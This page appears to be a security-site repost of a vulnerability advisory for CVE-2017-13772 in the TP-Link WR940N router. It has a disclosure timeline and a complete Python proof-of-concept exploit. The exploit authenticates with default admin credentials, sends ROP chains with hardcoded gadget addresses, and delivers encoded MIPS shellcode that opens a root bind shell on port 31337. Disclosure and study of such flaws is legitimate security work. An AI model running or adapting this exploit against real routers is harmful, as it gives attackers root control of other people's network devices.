首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TP-Link WR940N Remote Code Execution
来源:fidusinfosec.com 作者:Carrington 发布时间:2017-10-23  
** Advisory Information

Title: TP-Link Remote Code Execution
Blog URL: https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
Vendor: TP-Link
Date Published: 19/10/2017
CVE: CVE-2017-13772


** Vulnerability Summary

Numerous remote code execution paths were discovered in TP-Link's
WR940N home WiFi router. Valid credentials are required for this
attack path. It is possible for an authenticated attacker to obtain a
remote shell with root privileges.


** Details

There were multiple occurrences of strcpy being used in an unsafe
manner, resulting in a trivial buffer overflow condition. It is also
possible to cause a Denial of Service on the web service.

Using the aDiagnostica page, an attacker could utilise the built in
apinga feature of the router to cause either; a Denial of Service
attack to crash the web server or exploit a buffer overflow condition
to obtain a remote root shell.


** Vendor Response

TP-Link have released a new version of the firmware thus mitigating
exploitation of this issue.


** Report Timeline

* Disclosed to vendor a 11/8/2017
* Response from vendor, request for initial advisory a 14/8/2017
* Initial advisory sent a 14/8/2017
* Beta patch sent for testing by vendor a 17/8/2017
* Patch confirmed to work, however other vulnerable locations were
identified, a second exploit was written to demonstrate this. Sent to
vendor a 17/8/2017
* Response by vendor, will look into the other vulnerable locations a 18/8/2017
* Second patch sent for testing by vendor a 25/8/17
* Patch confirmed to mitigate vulnerabilities (500+ calls to strcpy
removed) a 29/8/2017
* Patch released a 28/9/2017 (Only HW V5 US)

** Credit

This vulnerability was discovered by Tim Carrington, part of the Fidus
Information Security research team.


** References

https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/


** Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/


Proof of concept:

import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
"___________________________________________________________________________\n"
"WR940N Authenticated Remote Code Exploit\n"
"This exploit will open a bind shell on the remote target\n"
"The port is 31337, you can change that in the code if you wish\n"
"This exploit requires authentication, if you know the creds, then\n"
"use the -u -p options, otherwise default is admin:admin\n"
"___________________________________________________________________________"
)
 
def login(ip, user, pwd):
    print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
     
    #### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
    hash = hashlib.md5()
    hash.update(pwd)
    auth_string = "%s:%s" %(user, hash.hexdigest())
    encoded_string = base64.b64encode(auth_string)
    print "[+] Encoded authorisation: %s" %encoded_string
     
    #### Send the request
    url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
    print "[+] sending login to " + url
    req = urllib2.Request(url)
    req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
    resp = urllib2.urlopen(req)
     
    #### The server generates a random path for further requests, grab that here
    data = resp.read()
    next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
    print "[+] Got random path for next stage, url is now %s" %next_url
     
    return (next_url, encoded_string)
 
#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"
"\x02\x2a\x18\x26\xae\x43\xff\xc1"
 
#sleep
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"
 
################ encoded shellcode ###############
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"
"\x7a\x69"            #<aaaaaaaa- PORT 0x7a69 (31337)
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"
"\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"
)
 
###### useful gadgets #######
nop = "\x22\x51\x44\x44"
gadg_1 = "\x2A\xB3\x7C\x60"
gadg_2 = "\x2A\xB1\x78\x40"
sleep_addr = "\x2a\xb3\x50\x90"
stack_gadg = "\x2A\xAF\x84\xC0"
call_code = "\x2A\xB2\xDC\xF0"
 
def first_exploit(url, auth):
    #                      trash $s1        $ra
    rop = "A"*164 + gadg_2  + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
    rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
     
    params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
     
    new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
     
    print "[+] sending exploit..."
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
     
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    req.add_header('Referer', url + "DiagnosticRpm.htm")
     
    resp = urllib2.urlopen(req)
 
def second_exploit(url, auth):
    url = url + "WanStaticIpV6CfgRpm.htm?"
    #                 trash      s0      s1      s2       s3     s4      ret     shellcode
    payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
    payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
    payload += stack_gadg + "A"*4 +  nop*10 + shellcode + "B"*7
    print len(payload)
     
    params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
    'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
    'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
    'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
     
    new_url = url + urllib.urlencode(params)
     
    print "[+] sending exploita|"
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
     
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
     
    resp = urllib2.urlopen(req)
 
if __name__ == '__main__':
    print banner
    username = "admin"
    password = "admin"
 
    parser = OptionParser()
    parser.add_option("-t", "atarget", dest="host",
    help="target ip address")
     
    parser.add_option("-u", "auser", dest="username",
    help="username for authentication",
    default="admin")
     
    parser.add_option("-p", "apassword", dest="password",
    help="password for authentication",
    default="admin")
     
    (options, args) = parser.parse_args()
     
    if options.host is None:
    parser.error("[x] A host name is required at the minimum [x]")
     
    if options.username is not None:
    username = options.username
    if options.password is not None:
    password = options.password
     
    (next_url, encoded_string) = login(options.host, username, password)
     
    ###### Both exploits result in the same bind shell ######
    #first_exploit(data[0], data[1])
    second_exploit(next_url, encoded_string).



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Hashicorp vagrant-vmware-fusio
·Polycom Command Shell Authoriz
·Check_MK 1.2.8p25 - Informatio
·Unitrends UEB bpserverd Authen
·Mozilla Firefox < 55 - Denial
·Unitrends UEB 9 HTTP API/Stora
·Linux Kernel - 'AF_PACKET' Use
·Ayukov NFTP FTP Client < 2.0 -
·Microsoft Windows - 'nt!NtQuer
·ArGoSoft Mini Mail Server 1.0.
·Micro Focus VisiBroker C++ 8.5
·Kaltura < 13.1.0 - Remote Code
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved